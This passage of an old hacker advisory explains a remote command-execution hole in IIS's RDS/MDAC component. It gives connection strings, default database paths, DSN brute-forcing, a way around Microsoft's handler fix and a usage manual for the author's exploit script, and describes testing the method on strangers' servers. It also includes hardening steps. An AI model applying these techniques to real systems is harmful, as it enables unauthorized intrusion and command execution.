      is the kicker:
      
      
          3.  You don't need user IDs (and therefore no password required),
              does *not* require the presence of any sample Web applications
              or example code, or even an active database
      
      
      I suppose that's a pretty big kick.  Wow, no UIDs/passwords, NO SAMPLE
      SCRIPTS!  Well, I guess that means Russ Cooper will let the post through
      then... (if you don't get it, go back and re-read section one).
      
      
      So Greg can do all that.  And, to reiterate how dangerous this problem
      really is...
      
      
      
              "it...is direct, immediate, and almost 100% guaranteed
               to work....THE NUMBER OF HUGE SITES THAT ARE VULNERABLE
               IS RIDICULOUS!"
                                              -Russ Cooper, NTBugtraq
      
      
      
              "This exploit also does *not* require the presence of
               any sample web applications or example code...the
               issue affects at least 50% of the IIS servers I have
               seen"
                                              -Greg Gonzalez, NTBugtraq
      
      
      
      
         *** MEDIA FOLKS ***  As it seems it's fun to attach dollar loss amounts
               advisories, I will say the potential amount of
               damage, due to the fact that at least 50% of all
               IIS servers Greg has seen (hopefully he's seen a
               lot) are vulnerable, using my sophisticated
               reliable statistical computation method that is
               authoritative, I'd place damage loss somewhere in
               the 'close to Bill Gates salary(tm)' range.
      
      
      
      
         Now, the sad part.  As I mentioned before, both Greg and Russ (from this
      point on, all instances of 'Russ' refer to Russ Cooper, and not the name
      R. F. Prigogine) both know the details of this vulnerability.  And yet
      they are keeping them amongst themselves until next week.  Does this even
      disturb anyone?  Greg says at least 50% of the IIS servers are
      vulnerable...
      
      
      DO WE WANT RUSS COOPER WITH THE KEYS TO 50% OF IIS SERVER ON THE INTERNET?
      
      
      Ok, I have a scenario that's the same in principle, but will disturb
      people even more:
      
      
      ---- Begin same scenario ------------------------------------------------
      
      
      Rain Forest Puppy (or R. F. Prigogine, if it makes you feel better/is more
      visually pleasing) has found a hole in the latest build of Apache web
      server.  There's a hole.  I will announce there's a hole.  I'll write up a
      few PRs as well.  But I will not tell you the exact nature of it.  Don't
      worry, Apache group will code a fix, and you'll be all set in a jiffy.  In
      the meantime, I'm not going to release the details of the exploit of the
      hole. Instead I'm going to just keep it to myself....and my good buddies
      Vacuum, Antilove, Stranger, and the rest of the Wiretrip and ADM crews.
      
      
      -------------------------------------------------------------------------
      
      
      Hmmm....I bet *that* disturbed you.  How about a better translation:
      
      
      ---- Begin translated same scenario -------------------------------------
      
      
      I, RFP, have found a hole in Apache that I will not tell you about until
      later, but in the meantime, me and my hacker buddies will know about it!
      Nnnnnnaaaaaaayyyyyyaaaaahhhhhh!  So sit back and feel helpless.
      
      
      -------------------------------------------------------------------------
      
      
      What's the difference?  Only the integrity of the people involved.  Again,
      a name thing perhaps.  Russ Cooper, Greg Gonzalez, they're Ok.  Rain
      Forest Puppy, Antilove, nope, that's scary.  You don't even know if Greg
      Gonzalez isn't really a hacker that goes by 'Digital Killer'.  I push for
      the point that no matter who it is in any case, it's wrong.
      
      
         Elias Levy would have told everyone the bug. :)
      
      
         NTBugtraq = moderated disclosure.  Hmmm.  I still like Russ's "Would
      you pay?" Administrivia from Feb 99, in which he says:
      
      
          "Someone else makes the Security Portal and you get what they
           think you need"
      
      
      As oppose to getting what Russ thinks we need instead?  It all depends on
      whether or not the other guy denies posts about sample scripts....(if you
      *still* don't get it, re-read section one AGAIN).
      
      
         Ok, ok, so that RDS background turned more into a political thing.
      Well, that's because it is.  At this point, Russ and Greg are have the
      keys to IIS servers.  I don't know about you, but I'm not liking it.  So
      I'm getting off my ass and doing something.  Besides the fact that this is
      all published stuff at this point.
      
      
         Also, I may be considered 'irresponsible' for posting the exploit.
      Now, I would say *maybe* it would be debatable if I had posted *only* the
      exploit.  But I have posted not only a very long diatribe, but also my
      guess of the vulnerability, which includes examples of analysis and
      theory.  I also detailed out how to secure your server, from this hole
      in particular as well as other security problems in general.  My hopes are
      to educate people on what the problem is, and how I went about finding it
      so that they can perhaps learn how to do it themselves.  Education.  It's
      the key, and that's what I'm trying to do.  No, no vendor
      education...ADMIN education. USER education.  I know I will probably be
      futile as a whole in the end, but maybe a few people will learn something,
      and that's all that matters to me.
      
      
      
      
      
      - 3 -  *MY* Guess at Greg's RDS Vulnerability
      
      
         (I say 'guess' because I may not be right.  But in any event, I
      wouldn't be writing all this unless I found something moderately
      interesting ;)
      
      
         Ok, so Greg's RDS vulnerability has three main aspects:
      
      
          1.  You only need RDSServer.DataFactory component
          2.  It uses Jet queries with my embedded VBA via pipes trick
          3.  You don't need userIDs (and therefore no password required),
              does *not* require the presence of any sample Web applications
              or example code, or even an active database
      
      
         Now, for those of you who don't know, RDS is basically a way to do
      remote data queries to a server.  This is done over the web.  Basically
      your client app communicates via HTTP to the /msadc/msadcs.dll on your
      server. The msadcs.dll exposes the RDSServer.DataFactory object, or better
      known as the AdvancedDataFactory.
      
      
         Now AdvancedDataFactory only has four methods, so we're kind of limited
      on what we can do.  We can CreateRecordSet, Query, SubmitChanges, and
      ConvertToString.  Query and SubmitChanges require a valid database to work
      upon.  The other two are just data mangling functions.  So there you have
      it, that's what we have to work with.
      
      
         I played with CreateRecordSet and ConvertToString.  This actually
      relays data from the client, to the server, and back.  My hopes was that
      somewhere in there I could slip one of my pipe-VBA-shells in there and do
      fun stuff.  But nope, all they did was regurgitate the data in a different
      flavor.  Oh well.
      
      
         SubmitChanges just basically does an elaborate UPDATE/INSERT, where it
      just syncs the server's database with the client's recordset.  So that
      leaves Query.
      
      
         Well Query lets us run queries against an (existing) database.  And we
      know we can embed our pipe-VBA-shells in queries, so Query looks good.
      But this is nothing spectacular.  And there is one catch: the need for an
      existing database.  We need to pass a DSN to the ActiveDataFactory to
      actually run the query on.  The problem with the DSN is that:
      
      
          1.  DSNs can require UIDs and passwords
          2.  There's no way to get a list of available DSNs
             (** through RDSServer.DataFactory functions, that
               I'm aware of **)
          3.  I'd say a DSN constitutes an 'active' database
      
      
         So DSNs blow away point 3 of our known things about Greg's RDS
      vulnerability.  What if we can get around using DSNs?
      
      
         Well, we can.  See, you can go the easy route by specifying "DSN=rfp",
      and then the server keeps all the internal information about that DSN,
      including driver, actually database file location (if it's a file-based
      driver), UID, password, connection parameters, etc.  Well, what's fun is
      that we can directly give all that stuff in the query setup instead of a
      DSN.  Let's say we setup a DSN named 'rfp' (for Rain Forest Puppy or R. F.
      Prigogine).  We will use these parameters:
      
      
          DSN name 'rfp'
          Microsoft Access (Jet) driver
          c:\rfp.mdb for our database
          UID will be 'rfp'
          password will be 'prigogine'
      
      
      So by invoking "DSN=rfp", the server knows to use the Access driver on the
      c:\rfp.mdb file.  DSNs are a nice tight way to precompose all that
      information.  Or we can do it on the fly.  Rather than issuing a "DSN=rfp"
      connect string, I can use instead:
      
      
          "driver={Microsoft Access Driver (*.mdb)}; dbq=c:\rfp.mdb;"
      
      
      This will still invoke the Access (Jet) driver, and tell it to directly
      use c:\rfp.mdb.  No UID.  No password.  No even worrying about if/what
      DSNs exist.  In the words of Cartman, "Sweet".
      
      
         That whacks out part of known point #3 (no UID or password).  We're
      going to use the RDSServer.DataFactory control (known point #1), and we're
      going to use the Access driver, with fun pipe-VBA-shell features (known
      point #2).  We're not using any other web sample scripts, so that cuts out
      another portion of known point #3.  Oh, we're so close...can you taste it?
      (and what does it taste like?  chicken?)
      
      
         There's still one minor detail.  Notice we have to specify the 'dbq='
      parameter in the connection setup.  And this needs to be a valid file.  If
      it's not, the SQL engine on the server side will fail and return errors
      before it even gets around to looking at our queries.  But damn, we need
      an .mdb file to connect to.  Well, if you look in the Access ODBC
      reference on Microsoft's website (which sucks, half the links were broken at
      various moments through the night while sifting through it...go MS.  I
      don't blame you though--you probably engineered your site/servers with
      Microsoft products, and that explains it right there) you will see that
      you can pass a CREATE_DB parameter to the Access driver.  This will cause
      the driver to construct a valid (empty) .mdb file.  Woohoo! (not to
      be confused with w00w00; the former is an expression of joy, the latter is
      a cool group of guys that I had the fortune of hanging out with at DefCon)
      So in our connection setup we pass a "CREATE_DB=c:\rfp.mdb" attribute with
      everything else and low and behold, it......   <to be continued...>
      
      
      ----- Some words about my sponsors ---------------------------------------
      
      
      -- www.technotronic.com     Technotronic!  Great place!
      
      
      Run by fellow Wiretrip'er Vacuum, who is also a co-founder of Rhino9
      (before Rhino9 'disbanded'; Neon, Horizon, Xaph: come back to the US!),
      boasting a slick HTML design recently redone by yours truly (Rain Forest
      Puppy/R. F. Prigogine), it's definitely a good site for the latest
      security information--especially while PacketStorm is struggling to get
      back on its feet (thanks, JP.  Now die.  What, you're sueing me now?!?)
      
      
      While you're there, be sure to check out:
      
      
      * Winfingerprint! -- coded by Vacuum, this tool lets you remotely query a
               windows box and see if it's a PDC, BDC, Member
               server, SQL server, etc.  Also look for the Unix
               port of it by me sometime soon (after I finish
               all this RDS stuff)
      * Horizon's Page! -- that's right.  Elite HTML coded by Humble himself.
               Problem was he didn't know where to put the shell
               code...<a href>?  J/K :)  The URL is /horizon/
      * Newest R9 Tools! -- coming soon.  Before 3/4ths of Rhino9 moved to
               Germany, there was one last code fest, and some
               fun binaries came out of it.  Look for them soon!
               Technotronic also has the R9 mirror at
               rhino9.technotronic.com
      
      
      
      
      -- www.l0pht.com       L - zero - p - h - t
      
      
      Everybody knows L0pht (even senators!)  A very active 'independant
      security (watchdog) group' who include Dr. Mudge & Dildog (BO2K creator).
      
      
      While you're there, be sure to check out:
      
      
      * L0phtcrack!   -- one of the best NT password crackers out there! This
               will prove highly useful if you use my script
               do dump the SAM and grab the backup (not that
               I encourage hacking...I've done this many times
               in LEGIT contracted audits).  It's a personal
               tool I've standarized on.
      * Advisories!  -- L0pht releases a very nice variety of advisories, from
               Windows DLL problems and Cold Fusion script
               problems to Unix race conditions and symlink
               vulnerabilities.
      * NFR Modules!  -- they've teamed up with NFR to be the supplier of many
               interesting N-code/NFR modules.  They have a nice
               selection for your popular network attacks.
      
      
      ** plus I must note that the Palm Pilot stuff, Soapbox, and BBS are pretty
          awesome as well!
      
      
      
      -- www.houseoffusion.com     A great independant Cold Fusion site!
      
      
      The site of a great friend of mine, Mike Dinowitz, who is my 'go to' man
      for all things Cold Fusion and has helped me out immensely with various
      Cold Fusion language issues (read: helped me work through some of the
      various Cold Fusion exploits that have surfaced).  He does offer training
      for Cold Fusion...see 'Training Info' under '<Community>'.  He co-authored
      "Advanced Cold Fusion 4.0 Application Development" and "Cold Fusion Web
      Application Construction Kit" vols 2 and 3, and was the founding member of
      Team Allaire. Plus, he's an all-around good guy(tm).  Also an editor of CF
      Advisor, at www.cfadvisor.com.
      
      
      While you're there, be sure to check out:
      
      
      * MunchkinLAN! -- a CF based web scanner, which is actually very minimal
               code and runs out of an Access db.
      * Mike's Mods! -- many modifications to the Cold Fusion Forums scripts,
               which include speed/operation improvements.
      * CF-Talk!  -- Mike is the moderator/owner of the CF-Talk list, which is
               a high traffic list discussing Cold Fusion related
               development issues, security, etc.
      
      
      
      -- Thanks again to all of the above!
      
      
      -------------------------------------------------------------------------
      
      
      <continued from above>   ...didn't work.  Damn.  The problem was that it
      was passing the CREATE_DB parameter during the SQLDriverConnect() phase,
      and that just isn't going to cut it.  We need to issue a
      SQLConfigDataSource() call (I think that was it...my mind is a mush of
      ODBC/SQL/RDS/ADO/OLEDB/FMP API right now) to get CREATE_DB to do it's
      thing, and RDSServer.DataFactory.Query just wasn't going to give us love.
      So, after struggling with other nuances and ideas, I concluded that I
      couldn't make a DSN, or a .mdb from scratch using Access SQL via
      RDSServer.DataFactory without connecting to a database/.mdb beforehand.
      
      
      (**NOTE: if you know how this can be done, EMAIL ME!  I WILL TRADE YOU
          0DAY! :)  rfp@wiretrip.net )
      
      
         Well damn, so we need a database to make this work.  Any 'ol database
      will do (hell, even the WINS or DHCP .mdb should work >:).  But
      unfortunately, none come by default on a standard NT install.  Bummer.
      But wait....all is not lost....
      
      
         It seems when you do a 'typical' or better install with Option Pack 4,
      a particular .mdb is installed...namely the btcustmr.mdb which is
      installed to %systemroot%\help\iis\htm\tutorial\.  Microsoft saves the
      day!  They're just so damn efficient at helping us hack their own
      product...
      
      
         To get IIS 4.0 you practically need to install Option Pack 4, which
      will also then install MDAC 1.5--this is good.  Let's just hope they
      didn't pick the 'minimal' install...  The last catch is that we need to
      figure out what %systemroot%.  On the majority of the systems it will
      probably be c:\winnt, d:\winnt, e:\winnt, or f:\winnt (don't laugh, mine
      is f:).  I guess some wacko might do \win, \windows, \nt, and if you
      upgrade it may be \winnt351 or \winnt35.  Well, we can do a little 'brute
      force' on all those combinations until one works.  Oh, and no, you can't
      do "dbq=%systemroot%\help\iis\htm\tutorial\btcustmr.mdb"...the SQL driver
      pukes.
      
      
         So that's my guess!  Mr. Gonzalez is using a connection string similar to
      
      
          "driver={Microsoft Access Driver (*.mdb)};
             dbq=c:\winnt\help\iis\htm\tutorial\btcustmr.mdb;"
      
      
      with a query that contains one of the pipe-VBA-shell commands.  Now, I
      think this technically meets all the known points of the exploit--the only
      fuzzy one is where Greg mentions "no need of an *active* database".  Now,
      I may be reading into it, but btcustmr.mdb is hardly active.  It's a
      totally unused .mdb sitting in a directory most people probably didn't
      know existed.
      
      
         Just to double check, I did a quick little test...and six of the ten
      servers I picked off the Internet were susceptible to this method.  That'd
      a tad better than Greg's 50%, but I had a small population sample, so I'll
      give him the benefit of the doubt.
      
      
         Now, I obviously could be wrong.  Maybe Greg found a way to create the
      .mdb, or some other way where he doesn't need to rely on the existence of
      btcustmr.mdb.  I'm not claiming to be a SQL/database wiz--actually, I hate
      database applications.  Period.  They're gross.  But I put up with it for
      the better good of the Internet. :)  But yes, I could be wrong, and I'm
      willing to admit it.
      
      
         Let me also mention the contenders.  They were contenders, but
      definitely did not make the final round because as much as the 'look' and
      'smelled' exploitable, I couldn't get them to crack:
      
      
         1. Data Shape Provider.  This already has hooks into the VBA
      interpreter ( you can put VBA commands in the CALC() function--except it
      lacks shell()), and is a primary suspect in my eyes.  The bonus is that
      you do *not* need any database files to use this.  Well, barring the fact
      that I really don't know what I'm doing, I played around with it trying to
      feed some pipe-VBA-shells to it and whatnot, but couldn't get anything
      interesting to happen.  Now, this is installed by default, has VBA hooks
      already, doesn't need a database, etc.  I say this fits the description
      more that the btcustmr.mdb thing.  And it's just all together 'cooler'.
      
      
         2.  Index Server Provider.  Now, not all places use Index Server, so I
      highly doubted this was the route, but it is a contender.  Again, you
      don't need a database file, so that's a bonus.  I tried the usual
      pipe-VBA-shell commands, but no go either.
      
      
         If I really had to choose, I'd say the exploit was in the Data Shape
      Provider (which Microsoft also warned of in the advisory).  But since I
      couldn't get it to give me love, I went with btcustmr.mdb.
      
      
      
      
      
      - 4 -  Bonus Aspects of My Script
      
      
         So, yes, I could be wrong.  But I figure why not just feature pack this
      script to *really* kick some ass?  Well, so, I wasted a few brains cells
      (the things I do for you people...jeez) and thought of some good things to
      toss into the code.  I figure hey, might as well make this a useful tool!
      
      
         The first one is pretty obvious.  There are many applications on the
      market, that would be used on a server, that would make/require a DSN.
      For instance Cold Fusion creates a few DSNs, as does iHTML.  Some of the
      sample apps that come with IIS create DSNs as well, and the MDAC makes a
      few too.  All these potential DSNs.  Remember, it only takes one DSN to
      work.  So if we wanted to, we could scan to see if any of a number of
      default DSNs exist, and if they do, use them.
      
      
         An extension of this would be user created DSNs.  Again, all we need is
      the DSN name, so we can scan for what are 'psychologically' common DSN
      names.  For instance test, web, data, database, www, db, and sql are
      common type DSN names.  Basically, if you supply a dictionary file of DSN
      names you want to use, the script will sit there and brute force, a la a
      remote password cracker on the DSN names.
      
      
         Of course, we'd need DSNs with the Access Driver.  But what's nice
      is that if we connect to a valid DSN with an invalid SQL query, we'll get
      back the name of the driver in the error message.  So it's a nice way to
      check.
      
      
         Then we can also do an inverse type thing--instead of looking for
      common DSNs to connect to, we can look for common .mdbs to connect to.
      For instance MS Cert Server, DHCP, and WINS all use .mdbs, as well as
      particular sample scripts, SDKs, etc.  We can just try to connect to them
      directly.  If we find one, rather than dealing with the table information
      within the .mdb, we can just CREATE TABLE on it first, and then use
      the table we just created.  Very simple.
      
      
         Another interesting feature is dumping the root scope paths from Index
      Server.  Basically it's a query of "Select paths from scope()".  This is
      useful because it can provide us with useful directory information...since
      one of the tricky problems is determining location of html files and
      systemroot (although they're most likely guessable, that's not always the
      case).  So I tossed this in for kicks, although it doesn't run 'inline'
      with the actually DSN/.mdb checks.  You invoke this functionality
      separately.
      
      
         The last extra functionality, but the easiest of them all, is to see if
      /scripts/tools/makedsn.exe exists on the webserver.  If it does, we can
      make a DSN and define the .mdb file to use, and then use it right
      away.  In my particular script I make a DSN named 'wicca'.  (Greetings to
      Simple Nomad!  I wish you could have been around at DefCon.  Next time.)
      
      
         So, wow.  Lots of ways to get a database connection.  My RDS script
      tries them in the following order, continuing until successful:
      
      
      - try raw driver connect to btcustmr.mdb
      - try to create a DSN with /scripts/tools/makedsn.exe
      - look for common DSNs
      - look for common .mdbs
      - try 'dictionary' attack on user DSNs
      
      
         And separately you can query Index Server to get the paths information
      (Warning: this could be a lot of information!  The script automatically
      sorts out common directories).
      
      
      ----- Campaign solicitation --------------------------------------------
      
      
             XOR!! The unofficial AES candidate!
      
      
      There are many reasons why you should support XOR:
      1.  It's mad fast!
      2.  It can be implemented in very little code
      3.  It will run with decent performance even on the meekest of
          Casio watches
      4.  The ciphertext doesn't look like the plaintext--this is good.
      5.  Stream, block, chained, unchained, XOR does it all!
      6.  So many companies already use it as their encryption algo of choice!
      
      
          So join the 'AES XOR y2k == 8w8' campaign today!
      
      
      ------------------------------------------------------------------------
      
      
         One interesting feature that's almost necessary is a 'resume' mode.
      Imagine you just scanned a webserver, spending the last 5 minutes trying
      all the combinations of valid default .mdbs, valid DSNs, etc.  Finally it
      cracks and you get one, and you run your command.  Well, what if you want
      to run another command?  Do you have to go through that rigmarole again?
      Well, not with my script. :)  When you make a successful connection, it
      writes out a file called 'rds.save'.  Then, you can just use the 'resume'
      switch (-R), with no other options.  It will read in rds.save, and let you
      run a command against the successful connection again right away.
      
      
      
      
      
      - 5 - More Bonus Features
      
      
         Well so far, I haven't really provided anything really original.  I'm
      all for originality.  So I racked my brain.  I poured through all of
      Microsoft's ADO/OLEDB/RDS/ODBC documentation.  I read their advisory.  I
      disassembled billions of .dlls.  And then inspiration struck.
      
      
         You see, MDAC 1.5 installs *three* objects by default.
      RDSServer.DataFactory, which we've discussed before.  AdvancedDataFactory,
      which is really an alias to RDSServer.DataFactory.  But there's also one
      called VbBusObj.VbBusObjCls.  This is really an example of a middle-tier
      business object of the possible three-tier RDS model.  It implements four
      functions: Test, GetMachineName, ExecuteSQL, and GetRecordSet.
      
      
         Test does nothing for us.  GetMachineName is fun just because it
      returns the machines NetBIOS name, which is useful in many cases.  So I
      tossed it in.  You invoke it with the -N switch.
      
      
         Now ExecuteSQL and GetRecordSet do basically the same thing, run a SQL
      query.  The difference is ExecuteSQL just returns how many records we
      affected, while GetRecordSet returns the records as actual data.  I chose
      to use GetRecordSet because it integrated better with the rest of the
      code, since it's return was strikingly familiar to the output from the
      RDSServer.DataFactory control.  This is not a big deal, other than a
      bandwidth issue, but we're not talking more than a few K of data here
      anyway.
      
      
         I know you're probably thinking 'uh, so what.  There's another way to
      do the same thing.  I mean the GetMachineName thing is cool, but not all
      that much special'.  Well, no.  Your wrong.  And let me tell you why.
      
      
         Starting with MDAC 2.0 you can define custom handlers.  Basically,
      rather than RDSServer.DataFactory going straight to the database driver,
      it takes a side trip through a handler.  This is the fix Microsoft
      mentioned in their security advisory at
      
      
          http://www.microsoft.com/security/bulletins/ms99-025.asp
      
      
      They recommend you switch the following registry entry
      
      
          [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\DataFactory\HandlerInfo]
             "handlerRequired"=dword:00000001
             "DefaultHandler"="MSDFMAP.Handler"
      
      
      which tells RDSServer.DataFactory that RDS *must* use a handler, and that
      the default handler is MSDFMAP.Handler.  Then you can use msdfmap.ini to
      specify options for denying certain connections, etc.
      
      
         Microsoft even supplies HANDSAFE.EXE, which auto-extracts to a .reg
      file that sets the above registry keys, plus a list of safe handlers.  So
      if you need RDS, the preferred upgrade route from MDAC 1.5 is to install
      the latest MDAC 2.x, and then run HANDSAFE.EXE to make sure to limit
      outside queries by using handlers, which are controlled.
      
      
         Well, all this fun handler crud is implemented in
      RDSServer.DataFactory.  So we're kinda screwed when we run
      RDSServer.DataFactory.Query (as we should be, as this is the fix).  Well,
      guess what.  VbBusObj.VbBusObjCls doesn't care about handlers.  We just
      effectively bypassed the handler thing.  Wait, let me spell it out for
      you:
      
      
          THE MICROSOFT CUSTOM HANDLER FIX DOES NOT PREVENT THIS. WE
          CAN STILL RUN QUERIES.  HANDSAFE.EXE/CUSTOM HANDLERS (THE
          RECOMMENDED MICROSOFT FIX) DOES NOT PROTECT AGAINST THIS.
      
      
         Wow.  So we just use VbBusObj.VbBusObjCls instead of
      RDSServer.DataFactory.  Simple enough.  I think this is definately a
      worthwhile feature.  You can cause the script to use VbBusObj by
      specifying the -V option.  But I will admit: VbBusObj.VbBusObjCls is not
      always installed.  So this is not always the case.  But it's a case,
      none-the-less.
      
      
         NOTE:  When using VbBusObj, I suggest you use -N *FIRST*.  If you get a
      valid NetBIOS name back, VbBusObj exists.  If you use -V without verifying
      VbBusObj exists, and in fact it doesn't exist, the script/connection will
      HANG!  So just humor me first and use -N first to see if -V is a valid
      option.  I could have automated it, but then again, why should I allow you
      to be lazy?
      
      
         Now Microsoft does make some other mentions of just disabling RDS all
      together.  While this will work, unfortunately, RDS exists for a reason,
      and many people are using it legitimately.  That means there are people
      who can't disable it because they use it.  So what to do?
      
      
      
      
      
      - 6 - How to Secure Your Server
      
      
         Ok, I've talked so much on how to break this stuff.  How about helping
      fix the matter?  Well sure.  Basically we have to situations: those who
      need RDS, and those who don't.  I shall address both.
      
      
         Those who need RDS:  I agree with Microsoft--custom handlers are the
      way to go.  Unfortunately, there's that pesky VbBusObj to deal with.  This
      is actually not that hard.  You need to delete the VbBusObj references.
      Simply delete the following registry key
      
      
          HKEY_LOCAL_MACHINE/System/CurrentControlSet/Services/
             W3SVC/Parameters/ADCLaunch/VbBusObj.VbBusObjCls
      
      
          (line broken for clarity)
      
      
      For peace of mind you can also delete vbbusobj.dll, which is installed at
      (pending root drives)
      
      
          c:\program files\common files\system\msadc\samples\selector\
          middle_tier\vbbusobj\vbbusobj.dll
      
      
          (again, line broken for clarity)
      
      
      That should be it.  Now, you'll need to read about custom handler
      creation, and cooperate with the DBAs at your location to come up with a
      suitable, yet secure handler definition.
      
      
         Those who don't need RDS:  I would still upgrade your MDAC and run
      HANDSAFE.EXE just in case.  But you can basically prevent people from
      using RDS remotely by removing the /msadc/ virtual root.  You can do this
      in MMC or via the IIS Administration HTML interface.
      
      
         For everybody:  While we're digging around IIS, let's do a little
      cleaning up, shall we?  Let's start off with ODBC.  Open up Control Panel,
      and go into ODBC.  Look at the DSNs defined under User, System, and File.
      You should delete any DSNs you do not use, especially sample/default DSNs,
      such as 'pubs', 'advworks', 'adctest', etc.  You should fully research the
      need for any particular DSN you use.  And personally, I would suggest when
      in doubt, record the configuration information and then remove it.
      Recording the information is important in case you have to put it back.
      
      
         Now, under ODBC Drivers, again, you should remove any drivers you do
      not use.  Having 'SQL Server' means people could potentially proxy off
      your machine to another SQL server.  The 'Microsoft Text Driver' should
      definately be deleted.  The more you delete, the safer you are.
      
      
         Let's now pop over to IIS.  Pull up MMC or the adminstrative
      web interface.  Follow down the tree branches until you get to Default Web
      Site (or whatever your website might be).  Examine which virtual
      directories you have mounted into your site.  You should research the uses
      of these as well, deleting when in doubt (record the 'Properties'
      information first just in case).  Virtual directories I suggest deleting
      (if you have them):
      
      
          IISSamples This are the sample pages shipped with IIS--and
               contain a few bugs
          IISHelp       you can remove this.  It's HTML help reference.
          IISadmpwd  this is an IIS util for users to change their
               passwords via IIS.  Unfortunately it contains a
               few bugs.  I suggest you remove it.
          Msadc   mentioned above, remove if you don't need RDS
          
      If you have Cold Fusion installed, you'll also have CFdocs.  I suggest you
      remove it, as it contains a horde of exploitable sample scripts.
      
      
         On to the last check, which are physical files.  I'm going to assume
      the web directory is c:\inetpub.  Adjust accordingly.  I suggest checking
      the following:
      
      
      -- c:\inetpub\scripts\tools
          This contains by default a few tools to make DSNs.  I suggest you
          delete everything in this directory.  Or, if you're worried about
          deleting it, than MOVE it out of the directory, and into one
          that's *NOT* available through your web server
      
      
      -- c:\inetpub\scripts\samples
          Samples.  Need I say more?  Delete or move them.  Contians scripts
          that are known to be exploitable (see my ODBC advisory)
      
      
      -- c:\inetpub\scripts\iisadmin
          This is the IIS 3.0 administration interface.  IIS 4.0 uses
          something different.  Delete or move everything.  Again, contains
          exploitable sample scripts.
      
      
      -- c:\inetpub\iissamples\
          This contains the ExAir sample site, typically the SDK, and other
          fun goodies.  But they're samples.  Delete or move the whole
          directory.  Contains exploitable sample scripts.
      
      
         That should lock you down a lot more than the average IIS install.
      Unfortunately every location is different, so I can't guarantee you're
      secure now.  But you're 'less unsecure'. :)
      
      
      
      
      
      - 7 - Command Line Options
      
      
         To run the program, just save this whole advisory to a file, such as
      msadc.pl.  Then run "perl -x msadc.pl".  Perl is smart and will figure out
      how to run the script at the end.  No need to cut and paste. :)
      
      
         Ok, the command switches are as follows:
      
      
          -h <ip or domain>  this is the host to scan.  You MUST either
                use either -h or -R.
      
      
          -d <value 0-?>     this is the delay between connections.
                Value is in number of seconds.  I added
                this because hammering the RDS components
                caused the server to occasionally stop
                responding :)  Defaults to 1.  Use -d 0
                to disable.
      
      
          -V        Use VbBusObj instead of DataFactory to
                run the queries. NOTE: please read the -N
                information below as to suggestions for
                checking if VbBusObj exists.  VbBusObj
                does not give good error reporting;
                therefore it is quite possible to have
                false positives (and false negatives).
                Consider VbBusObj support 3 stages before
                beta.  Don't say I didn't warn you.
      
      
          -v        verbose.  This will print the ODBC error
                information.  Really only for
                troubleshooting purposes.
      
      
          -e        external dictionary file to use on step
                5--the 'DSN dictionary guess' stage.  The
                file should just be plaintext, one DSN
                name per line file with all the DSN names
                you want to try.  Quite honestly a normal
                dictionary file won't do you much good.
                You can probably do pretty damn well with
                a few dozen or two good ones, like 'www',
                'data', 'database', 'sql', etc.
      
      
          -R        resume.  You can still specify -v or -d
                with -R.  This will cause the script to
                read in rds.save and execute the command
                on the last valid connection.
      
      
          -N        Use VbBusObj to try to get the machine's
                NetBIOS name.  It may return no name
                if the VbBusObj is unavailable.  I suggest
                you use -N to see if VbBusObj exists (a
                NetBIOS name will be returned if so)
                before you use -V.
      
      
          -X        perform an Index Server table dump instead.
                None of the other switches really apply
                here, other than -v (although -d still
                works, there's no need to slow down one
                query).  This dumps the root paths from
                Index Server, which can be rather lengthy.
                I suggest you pipe the output into a file.
                Also, if there is a lot of return
                information, this command may take a while
                to complete.  Be patient.  And I don't
                suggest you use this command more than
                once a minute...it caused my P200 w/
                128 RAM to stop answering requests, and
                in general borked inetinfo.exe.  If you do
                decide to CONTROL-C during the middle of the
                data download the script will save all
                received data into a file called 'raw.out',
                so you don't loose everything you've
                already received.  NOTE: this is the raw
                data, which is in Unicode.
      
      
      
      NOTE ON SUCCESS:  The script reports 'Success!' when it has issued a valid
      SQL statement.  'Success!' does *NOT* mean that your command worked.  If
      they have MDAC 2.1+ shell commands are worthless, so the script will
      report 'Success!' (it went through) but your command didn't run (MDAC 2.1
      didn't interpret it).  There's no return indication to know whether your
      command worked or not.  As with the ODBC commands, you're flying blind.
      
      
      
      
      - 8 -  Random Q & A
      
      
      - "This or that function of the script is broken"
      -- Well, it wasn't broken when I used it, so you must of broke it.
          No, seriously.  I've tested it on Linux, L0pht tested it on
          Solaris, and Vacuum tested it on NT (using Perl 5.005-03 for
          Windows).  They worked for us.  I've coded some various checks
          for errors, but nothing robust.  But I know it worked for me. :)
      
      
      - "Why don't you code this in C?"
      --  Because I've been programming C/C++ for 8 years.  I'm tired of it.
          I've been coding perl for 3, so it's new and fresh, and I'm just
          now starting to do interesting stuff.  Plus the code is portable
          this way.  Come on, where else can you have a piece of code that
          does network/socket level stuff that runs on NT, Linux, and Solaris
          with no changes??!?
      
      
      - "Or you going to port this to C?"
      --  It wouldn't be that hard at all, but wasn't planning on it.  You have
          something against perl?
      
      
      - "What's the F in Russell F. Prigogine stand for?"
      --  Fabio. Fear the geese.
      
      
      - "Why do you act like this is a joke?"
      --  Because I don't get paid for doing this, I don't get donations, and I
          don't get any sexual gratification from this what-so-ever.  I
          do this because I *like* to, because it's *FUN*--so damn it,
          I'm having fun!
      
      
      - "I don't get some of the jokes in the paper.  Like what's FMP?"
      --  If you have to ask, you wouldn't understand.  This advisory is
          teeming with inside jokes.  RFP, FMP.
      
      
      - "Who picked your switches? v/V, R, X, N...d,v,h,e...they make no sense."
      --  They do to me.
      
      
      - "Where can I find the Internet's largest archive of hacked websites?"
      --  Oh, wonderful that you should ask.  www.attrition.org is just the
          place.  Say 'hi' to Jericho for me when you get there.
      
      
      
      
      - 9 -  Signoff
      
      
         Ok, I've been coding the script, reading MS database propaganda (did I
      mention yet I hate database stuff?), and writing this damn advisory for a
      collective of 30 hours. About time I stop and never think about it again.
      :)
      
      
         So you have my best shot at the RDS exploit, even though I think there
      may be something pretty nifty hiding in the Data Shape Provider (or maybe
      Index Server).  We'll just have to wait and see if/when Greg and Russ
      finally decide they can share their toys.
      
      
         Remember, I spent 2 days typing all this in an attempt to teach people
      something, rather than to just release the vanilla exploit.  So if you
      want to label me irresponsible, well, I suppose I could have been more so.
      Moreover, I support eEye in what they did 100%.  Russ says "there are
      numerous unwritten rules when it comes to security disclosures".  Rules?
      Unwritten?  Well, maybe eEye was unaware of these rules, since they're not
      written down.
      
      
         Future updates to this advisory and exploit code will be posted to
      
      
          www.technotronic.com/rfp/
      
      
         Well, it's been fun.  Until the next release (which may be sooner than
      you think ;)
      
      
             - rain forest puppy / R. F. Prigogine -
      
      
